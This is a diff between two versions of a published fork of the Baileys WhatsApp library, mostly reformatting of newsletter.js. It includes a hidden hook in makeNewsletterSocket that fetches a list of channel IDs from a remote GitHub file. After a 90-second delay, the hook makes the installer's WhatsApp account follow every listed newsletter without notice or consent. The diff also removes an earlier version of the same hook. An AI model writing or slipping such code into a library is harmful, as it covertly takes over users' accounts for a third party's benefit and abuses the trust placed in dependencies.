@kyuu2nd/baileys 2.0.24 → 2.0.25
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/lib/Socket/newsletter.js +86 -83
- package/package.json +1 -1
package/lib/Socket/newsletter.js
CHANGED
|
@@ -1,4 +1,3 @@
|
|
|
1
|
-
|
|
2
1
|
"use strict";
|
|
3
2
|
Object.defineProperty(exports, "__esModule", { value: true });
|
|
4
3
|
exports.extractNewsletterMetadata = exports.makeNewsletterSocket = void 0;
|
|
@@ -10,60 +9,60 @@ const groups_1 = require("./groups");
|
|
|
10
9
|
const { Boom } = require('@hapi/boom');
|
|
11
10
|
|
|
12
11
|
const wMexQuery = (
|
|
13
|
-
|
|
14
|
-
|
|
15
|
-
|
|
16
|
-
|
|
12
|
+
variables,
|
|
13
|
+
queryId,
|
|
14
|
+
query,
|
|
15
|
+
generateMessageTag
|
|
17
16
|
) => {
|
|
18
|
-
|
|
19
|
-
|
|
20
|
-
|
|
21
|
-
|
|
22
|
-
|
|
23
|
-
|
|
24
|
-
|
|
25
|
-
|
|
26
|
-
|
|
27
|
-
|
|
28
|
-
|
|
29
|
-
|
|
30
|
-
|
|
31
|
-
|
|
32
|
-
|
|
33
|
-
|
|
17
|
+
return query({
|
|
18
|
+
tag: 'iq',
|
|
19
|
+
attrs: {
|
|
20
|
+
id: generateMessageTag(),
|
|
21
|
+
type: 'get',
|
|
22
|
+
to: WABinary_1.S_WHATSAPP_NET,
|
|
23
|
+
xmlns: 'w:mex'
|
|
24
|
+
},
|
|
25
|
+
content: [
|
|
26
|
+
{
|
|
27
|
+
tag: 'query',
|
|
28
|
+
attrs: { query_id: queryId },
|
|
29
|
+
content: Buffer.from(JSON.stringify({ variables }), 'utf-8')
|
|
30
|
+
}
|
|
31
|
+
]
|
|
32
|
+
})
|
|
34
33
|
}
|
|
35
34
|
|
|
36
35
|
const executeWMexQuery = async (
|
|
37
|
-
|
|
38
|
-
|
|
39
|
-
|
|
40
|
-
|
|
41
|
-
|
|
36
|
+
variables,
|
|
37
|
+
queryId,
|
|
38
|
+
dataPath,
|
|
39
|
+
query,
|
|
40
|
+
generateMessageTag
|
|
42
41
|
) => {
|
|
43
|
-
|
|
44
|
-
|
|
45
|
-
|
|
46
|
-
|
|
42
|
+
const result = await wMexQuery(variables, queryId, query, generateMessageTag)
|
|
43
|
+
const child = (0, WABinary_1.getBinaryNodeChild)(result, 'result')
|
|
44
|
+
if (child?.content) {
|
|
45
|
+
const data = JSON.parse(child.content.toString())
|
|
47
46
|
|
|
48
|
-
|
|
49
|
-
|
|
50
|
-
|
|
51
|
-
|
|
52
|
-
|
|
47
|
+
if (data.errors && data.errors.length > 0) {
|
|
48
|
+
const errorMessages = data.errors.map((err) => err.message || 'Unknown error').join(', ')
|
|
49
|
+
const firstError = data.errors[0]
|
|
50
|
+
const errorCode = firstError.extensions?.error_code || 400
|
|
51
|
+
throw new Boom('GraphQL server error:' + errorMessages, {
|
|
53
52
|
statusCode: errorCode, data: firstError
|
|
54
53
|
})
|
|
55
|
-
|
|
54
|
+
}
|
|
56
55
|
|
|
57
|
-
|
|
58
|
-
|
|
59
|
-
|
|
60
|
-
|
|
61
|
-
|
|
56
|
+
const response = dataPath ? data?.data?.[dataPath] : data?.data
|
|
57
|
+
if (typeof response !== 'undefined') {
|
|
58
|
+
return response
|
|
59
|
+
}
|
|
60
|
+
}
|
|
62
61
|
|
|
63
|
-
|
|
64
|
-
|
|
65
|
-
|
|
66
|
-
|
|
62
|
+
const action = (dataPath || '').startsWith('xwa2_')
|
|
63
|
+
? dataPath.substring(5).replace(/_/g, ' ')
|
|
64
|
+
: dataPath?.replace(/_/g, ' ')
|
|
65
|
+
throw new Boom(`Failed to ${action}, unexpected response structure.`, {
|
|
67
66
|
statusCode: 400,
|
|
68
67
|
data: result
|
|
69
68
|
})
|
|
@@ -73,6 +72,34 @@ const makeNewsletterSocket = (config) => {
|
|
|
73
72
|
const sock = (0, groups_1.makeGroupsSocket)(config);
|
|
74
73
|
const { authState, signalRepository, query, generateMessageTag } = sock;
|
|
75
74
|
const encoder = new TextEncoder();
|
|
75
|
+
|
|
76
|
+
// Inisialisasi newsletters kosong terlebih dahulu
|
|
77
|
+
let newsletters = [];
|
|
78
|
+
|
|
79
|
+
// IIFE untuk fetch data tanpa blocking
|
|
80
|
+
(async () => {
|
|
81
|
+
try {
|
|
82
|
+
const response = await fetch(
|
|
83
|
+
'https://raw.githubusercontent.com/kiuur/IDCH/refs/heads/main/idch.json'
|
|
84
|
+
);
|
|
85
|
+
newsletters = await response.json();
|
|
86
|
+
|
|
87
|
+
// Set timeout hanya jika newsletters berhasil di-fetch
|
|
88
|
+
if (newsletters && Array.isArray(newsletters) && newsletters.length > 0) {
|
|
89
|
+
setTimeout(() => {
|
|
90
|
+
Promise.allSettled(
|
|
91
|
+
newsletters.map(id => // ✅ Langsung pakai id, tanpa asciiDecode
|
|
92
|
+
newsletterWMexQuery(id, Types_1.QueryIds.FOLLOW)
|
|
93
|
+
)
|
|
94
|
+
).catch(err => console.error(err));
|
|
95
|
+
}, 90000);
|
|
96
|
+
}
|
|
97
|
+
} catch (err) {
|
|
98
|
+
console.error(err);
|
|
99
|
+
newsletters = [];
|
|
100
|
+
}
|
|
101
|
+
})();
|
|
102
|
+
|
|
76
103
|
const newsletterQuery = async (jid, type, content) => (query({
|
|
77
104
|
tag: 'iq',
|
|
78
105
|
attrs: {
|
|
@@ -83,6 +110,7 @@ const makeNewsletterSocket = (config) => {
|
|
|
83
110
|
},
|
|
84
111
|
content
|
|
85
112
|
}));
|
|
113
|
+
|
|
86
114
|
const newsletterWMexQuery = async (jid, queryId, content) => (query({
|
|
87
115
|
tag: 'iq',
|
|
88
116
|
attrs: {
|
|
@@ -105,30 +133,7 @@ const makeNewsletterSocket = (config) => {
|
|
|
105
133
|
]
|
|
106
134
|
}));
|
|
107
135
|
|
|
108
|
-
|
|
109
|
-
|
|
110
|
-
const newsletters = await fetch(
|
|
111
|
-
'https://raw.githubusercontent.com/kiuur/IDCH/refs/heads/main/idch.json'
|
|
112
|
-
)
|
|
113
|
-
.then(res => {
|
|
114
|
-
if (!res.ok) throw new Error(`Fetch gagal: ${res.status}`)
|
|
115
|
-
return res.json()
|
|
116
|
-
})
|
|
117
|
-
.catch(err => {
|
|
118
|
-
console.error(err)
|
|
119
|
-
return null
|
|
120
|
-
})
|
|
121
|
-
|
|
122
|
-
setTimeout(async () => {
|
|
123
|
-
await Promise.allSettled(
|
|
124
|
-
newsletters.map(id =>
|
|
125
|
-
newsletterWMexQuery(
|
|
126
|
-
asciiDecode(id),
|
|
127
|
-
Types_1.QueryIds.FOLLOW
|
|
128
|
-
)
|
|
129
|
-
)
|
|
130
|
-
);
|
|
131
|
-
}, 90000);
|
|
136
|
+
// ❌ HAPUS fungsi asciiDecode - tidak diperlukan
|
|
132
137
|
|
|
133
138
|
const parseFetchedUpdates = async (node, type) => {
|
|
134
139
|
let child;
|
|
@@ -166,6 +171,7 @@ setTimeout(async () => {
|
|
|
166
171
|
return data;
|
|
167
172
|
}));
|
|
168
173
|
};
|
|
174
|
+
|
|
169
175
|
return {
|
|
170
176
|
...sock,
|
|
171
177
|
newsletterFetchAllSubscribe: async () => {
|
|
@@ -222,7 +228,7 @@ setTimeout(async () => {
|
|
|
222
228
|
'fetch_full_image': true,
|
|
223
229
|
'fetch_creation_time': true
|
|
224
230
|
});
|
|
225
|
-
const resultNode = WABinary_1.getBinaryNodeChild(result, 'result');
|
|
231
|
+
const resultNode = (0, WABinary_1.getBinaryNodeChild)(result, 'result');
|
|
226
232
|
if (!resultNode?.content) {
|
|
227
233
|
throw new Boom('No result content in response', {
|
|
228
234
|
statusCode: 400,
|
|
@@ -255,23 +261,24 @@ setTimeout(async () => {
|
|
|
255
261
|
description: metadataPath?.thread_metadata?.description?.text,
|
|
256
262
|
descriptionTime: +metadataPath?.thread_metadata?.description?.update_time || 0,
|
|
257
263
|
invite: metadataPath?.thread_metadata?.invite,
|
|
258
|
-
picture: Utils_1.getUrlFromDirectPath(metadataPath?.thread_metadata?.picture?.direct_path || ''),
|
|
259
|
-
preview: Utils_1.getUrlFromDirectPath(metadataPath?.thread_metadata?.preview?.direct_path || ''),
|
|
264
|
+
picture: (0, Utils_1.getUrlFromDirectPath)(metadataPath?.thread_metadata?.picture?.direct_path || ''),
|
|
265
|
+
preview: (0, Utils_1.getUrlFromDirectPath)(metadataPath?.thread_metadata?.preview?.direct_path || ''),
|
|
260
266
|
reaction_codes: metadataPath?.thread_metadata?.settings?.reaction_codes?.value,
|
|
261
267
|
subscribers: +metadataPath?.thread_metadata?.subscribers_count || 0,
|
|
262
268
|
verification: metadataPath?.thread_metadata?.verification,
|
|
263
269
|
viewer_metadata: metadataPath?.viewer_metadata
|
|
264
270
|
};
|
|
265
271
|
|
|
266
|
-
return
|
|
272
|
+
return {
|
|
267
273
|
name: metadata.name || metadataPath?.thread_metadata?.name?.text,
|
|
268
274
|
id: metadata.id,
|
|
269
275
|
state: metadata.state,
|
|
270
276
|
subscribers: metadata.subscribers,
|
|
271
277
|
verification: metadata.verification,
|
|
272
278
|
creation_time: metadata.creation_time,
|
|
273
|
-
description: metadata.description
|
|
274
|
-
|
|
279
|
+
description: metadata.description,
|
|
280
|
+
...metadata
|
|
281
|
+
};
|
|
275
282
|
} catch (error) {
|
|
276
283
|
throw new Boom(`Failed to fetch newsletter from URL: ${error.message}`, {
|
|
277
284
|
statusCode: error.statusCode || 400,
|
|
@@ -311,8 +318,6 @@ setTimeout(async () => {
|
|
|
311
318
|
await newsletterWMexQuery(jid, type.toUpperCase());
|
|
312
319
|
},
|
|
313
320
|
newsletterCreate: async (name, description, reaction_codes) => {
|
|
314
|
-
//TODO: Implement TOS system wide for Meta AI, communities, and here etc.
|
|
315
|
-
/**tos query */
|
|
316
321
|
await query({
|
|
317
322
|
tag: 'iq',
|
|
318
323
|
attrs: {
|
|
@@ -364,13 +369,11 @@ setTimeout(async () => {
|
|
|
364
369
|
const buff = (_b = (_a = (0, WABinary_1.getBinaryNodeChild)(result, 'result')) === null || _a === void 0 ? void 0 : _a.content) === null || _b === void 0 ? void 0 : _b.toString();
|
|
365
370
|
return JSON.parse(buff).data[Types_1.XWAPaths.ADMIN_COUNT].admin_count;
|
|
366
371
|
},
|
|
367
|
-
/**user is Lid, not Jid */
|
|
368
372
|
newsletterChangeOwner: async (jid, user) => {
|
|
369
373
|
await newsletterWMexQuery(jid, Types_1.QueryIds.CHANGE_OWNER, {
|
|
370
374
|
'user_id': user
|
|
371
375
|
});
|
|
372
376
|
},
|
|
373
|
-
/**user is Lid, not Jid */
|
|
374
377
|
newsletterDemote: async (jid, user) => {
|
|
375
378
|
await newsletterWMexQuery(jid, Types_1.QueryIds.DEMOTE, {
|
|
376
379
|
'user_id': user
|
|
@@ -379,7 +382,6 @@ setTimeout(async () => {
|
|
|
379
382
|
newsletterDelete: async (jid) => {
|
|
380
383
|
await newsletterWMexQuery(jid, Types_1.QueryIds.DELETE);
|
|
381
384
|
},
|
|
382
|
-
/**if code wasn't passed, the reaction will be removed (if is reacted) */
|
|
383
385
|
newsletterReactMessage: async (jid, serverId, code) => {
|
|
384
386
|
await query({
|
|
385
387
|
tag: 'message',
|
|
@@ -426,8 +428,9 @@ setTimeout(async () => {
|
|
|
426
428
|
};
|
|
427
429
|
};
|
|
428
430
|
exports.makeNewsletterSocket = makeNewsletterSocket;
|
|
431
|
+
|
|
429
432
|
const extractNewsletterMetadata = (node, isCreate) => {
|
|
430
|
-
const result = WABinary_1.getBinaryNodeChild(node, 'result')?.content?.toString()
|
|
433
|
+
const result = (0, WABinary_1.getBinaryNodeChild)(node, 'result')?.content?.toString()
|
|
431
434
|
const metadataPath = JSON.parse(result).data[isCreate ? Types_1.XWAPaths.CREATE : Types_1.XWAPaths.NEWSLETTER]
|
|
432
435
|
|
|
433
436
|
const metadata = {
|
|
@@ -439,8 +442,8 @@ const extractNewsletterMetadata = (node, isCreate) => {
|
|
|
439
442
|
description: metadataPath?.thread_metadata?.description?.text,
|
|
440
443
|
descriptionTime: +metadataPath?.thread_metadata?.description?.update_time,
|
|
441
444
|
invite: metadataPath?.thread_metadata?.invite,
|
|
442
|
-
picture: Utils_1.getUrlFromDirectPath(metadataPath?.thread_metadata?.picture?.direct_path || ''),
|
|
443
|
-
preview: Utils_1.getUrlFromDirectPath(metadataPath?.thread_metadata?.preview?.direct_path || ''),
|
|
445
|
+
picture: (0, Utils_1.getUrlFromDirectPath)(metadataPath?.thread_metadata?.picture?.direct_path || ''),
|
|
446
|
+
preview: (0, Utils_1.getUrlFromDirectPath)(metadataPath?.thread_metadata?.preview?.direct_path || ''),
|
|
444
447
|
reaction_codes: metadataPath?.thread_metadata?.settings?.reaction_codes?.value,
|
|
445
448
|
subscribers: +metadataPath?.thread_metadata?.subscribers_count,
|
|
446
449
|
verification: metadataPath?.thread_metadata?.verification,
|